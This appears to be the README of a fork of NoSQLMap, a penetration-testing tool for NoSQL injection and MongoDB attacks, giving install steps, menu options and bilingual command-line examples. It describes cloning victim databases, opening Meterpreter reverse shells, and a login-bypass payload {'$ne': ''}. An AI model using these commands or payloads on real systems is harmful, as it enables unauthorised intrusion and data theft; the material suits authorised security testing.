begineer-py/NoSQLMap

python setup.py install

docker build -t nosqlmap .

docker-compose build
docker-compose run nosqlmap

python NoSQLMap

1-Set options (do this first)
2-NoSQL DB Access Attacks
3-NoSQL Web App attacks
4-Scan for Anonymous MongoDB Access
x-Exit

1. Set target host/IP-The target web server (i.e. www.google.com) or MongoDB server you want to attack.
2. Set web app port-TCP port for the web application if a web application is the target.
3. Set URI Path-The portion of the URI containing the page name and any parameters but NOT the host name (e.g. /app/acct.php?acctid=102).
4. Set HTTP Request Method (GET/POST)-Set the request method to a GET or POST; Presently only GET is implemented but working on implementing POST requests exported from Burp.
5. Set my local Mongo/Shell IP-Set this option if attacking a MongoDB instance directly to the IP of a target Mongo installation to clone victim databases to or open Meterpreter shells to.
6. Set shell listener port-If opening Meterpreter shells, specify the port.
7. Load options file-Load a previously saved set of settings for 1-6.
8. Load options from saved Burp request-Parse a request saved from Burp Suite and populate the web application options.
9. Save options file-Save settings 1-6 for future use.
x. Back to main menu-Use this once the options are set to start your attacks.

# Start NoSQLMap in interactive mode
python nosqlmap.py

# Use Chinese language interface
python nosqlmap.py -zh

# Use English language interface
python nosqlmap.py -en

# Specify a language directly
python nosqlmap.py --language zh

# Attack a specific URL (automatically extracts host, port, and URI path)
python nosqlmap.py http://example.com/app/login.php

# Specify target components individually
python nosqlmap.py --victim example.com --webPort 8080 --uri /app/login.php

# Short form options
python nosqlmap.py -v example.com -wp 8080 -u /app/login.php

# Set a local IP for reverse connections
python nosqlmap.py --myIP 192.168.1.100

# Specify HTTP method (GET or POST)
python nosqlmap.py http://example.com/login.php --httpMethod POST

# Toggle HTTPS
python nosqlmap.py https://example.com/login.php

# Set target database port (for direct database attacks)
python nosqlmap.py --victim example.com --dbPort 27017

# Parse and test forms on the target page
python nosqlmap.py http://example.com/login.php --form

# Crawl the website to depth 2 and discover endpoints
python nosqlmap.py http://example.com --crawl 2

# Complete web application attack with form parsing
python nosqlmap.py http://example.com/login.php -f -zh

# MongoDB direct attack
python nosqlmap.py -v mongodb.example.com -dp 27017

# Web application attack with crawling
python nosqlmap.py http://example.com -c 3 --httpMethod GET

# 測試特定端點的NoSQL注入漏洞（完整示例）
python nosqlmap.py http://example.com/api/user -v example.com -wp 80 -u /api/user --httpMethod POST -zh

# Start NoSQLMap with Chinese interface
python nosqlmap.py -zh

# Then in the interactive menu:
# 1. Select "Set HTTP Authentication" or "Set Headers" option
# 2. For Cookie, enter Header name as "Cookie" and value as "sessionid=abc123; user=admin"

# 1. First start and set up the target
python nosqlmap.py -zh

# 2. In the interactive menu:
#    - Select "Set Target Host" → Enter example.com
#    - Select "Set Web Port" → Enter 443
#    - Select "Set URI Path" → Enter /api/users
#    - Select "Switch HTTPS" → Enable HTTPS
#    - Select "Set HTTP Method" → Select POST
#    - Select "Set Headers" → Add Cookie and Authentication Information
#    - Select "Set Platform" → Select MongoDB
#    - After setting up, select "NoSQL Web Application Attack" to execute the attack

# 以交互模式啟動NoSQLMap
python nosqlmap.py

# 使用中文界面
python nosqlmap.py -zh

# 使用英文界面
python nosqlmap.py -en

# 直接指定語言
python nosqlmap.py --language zh

# 攻擊特定URL（自動提取主機、端口和URI路徑）
python nosqlmap.py http://example.com/app/login.php

# 單獨指定目標組件
python nosqlmap.py --victim example.com --webPort 8080 --uri /app/login.php

# 簡短形式選項
python nosqlmap.py -v example.com -wp 8080 -u /app/login.php

# 設置本地IP用於反向連接
python nosqlmap.py --myIP 192.168.1.100

# 指定HTTP方法（GET或POST）
python nosqlmap.py http://example.com/login.php --httpMethod POST

# 使用HTTPS
python nosqlmap.py https://example.com/login.php

# 設置目標數據庫端口（用於直接數據庫攻擊）
python nosqlmap.py --victim example.com --dbPort 27017

# 解析並測試目標頁面上的表單
python nosqlmap.py http://example.com/login.php --form

# 爬取網站到深度2並發現端點
python nosqlmap.py http://example.com --crawl 2

# 基本表單處理
python nosqlmap.py http://example.com/login.php --form

# 表單處理與中文界面結合
python nosqlmap.py http://example.com/login.php --form -zh

# 表單處理與指定HTTP方法
python nosqlmap.py http://example.com/login.php --form --httpMethod POST

# 表單處理與Cookie結合（先啟動工具，然後在交互菜單中設置Cookie）
python nosqlmap.py http://example.com/login.php --form

# 表單處理與爬蟲結合（先爬取網站，然後對發現的每個表單進行測試）
python nosqlmap.py http://example.com --form --crawl 2

# 啟動並指定目標
python nosqlmap.py http://example.com/login.php --form -zh

# 工具會自動：
# 1. 解析登錄表單，發現username和password欄位
# 2. 對username欄位嘗試注入，如: {"$ne": ""}
# 3. 對password欄位嘗試注入，如: {"$ne": ""}
# 4. 組合不同欄位的注入嘗試
# 5. 分析響應識別成功的注入

# 帶表單解析的完整Web應用攻擊（使用中文界面）
python nosqlmap.py http://example.com/login.php -f -zh

# MongoDB直接攻擊
python nosqlmap.py -v mongodb.example.com -dp 27017

# 帶爬蟲的Web應用攻擊
python nosqlmap.py http://example.com -c 3 --httpMethod GET

# 測試特定端點的NoSQL注入漏洞（完整示例）
python nosqlmap.py http://example.com/api/user -v example.com -wp 80 -u /api/user --httpMethod POST -zh --form

# 啟動NoSQLMap並使用中文界面
python nosqlmap.py -zh

# 然後在交互菜單中：
# 1. 選擇"設置HTTP認證"或"設置Headers"選項
# 2. 對於Cookie，輸入 Header 名稱為"Cookie"，值為"sessionid=abc123; user=admin"

# 1. 首先啟動並設置目標
python nosqlmap.py -zh

# 2. 在交互菜單中：
#    - 選擇"設置目標主機" → 輸入 example.com
#    - 選擇"設置Web端口" → 輸入 443
#    - 選擇"設置URI路徑" → 輸入 /api/users
#    - 選擇"切換HTTPS" → 啟用HTTPS
#    - 選擇"設置HTTP方法" → 選擇POST
#    - 選擇"設置Headers" → 添加Cookie和認證信息
#    - 選擇"設置平台" → 選擇MongoDB
#    - 完成設置後，選擇"NoSQL Web應用攻擊"執行攻擊

docker-compose build && docker-compose up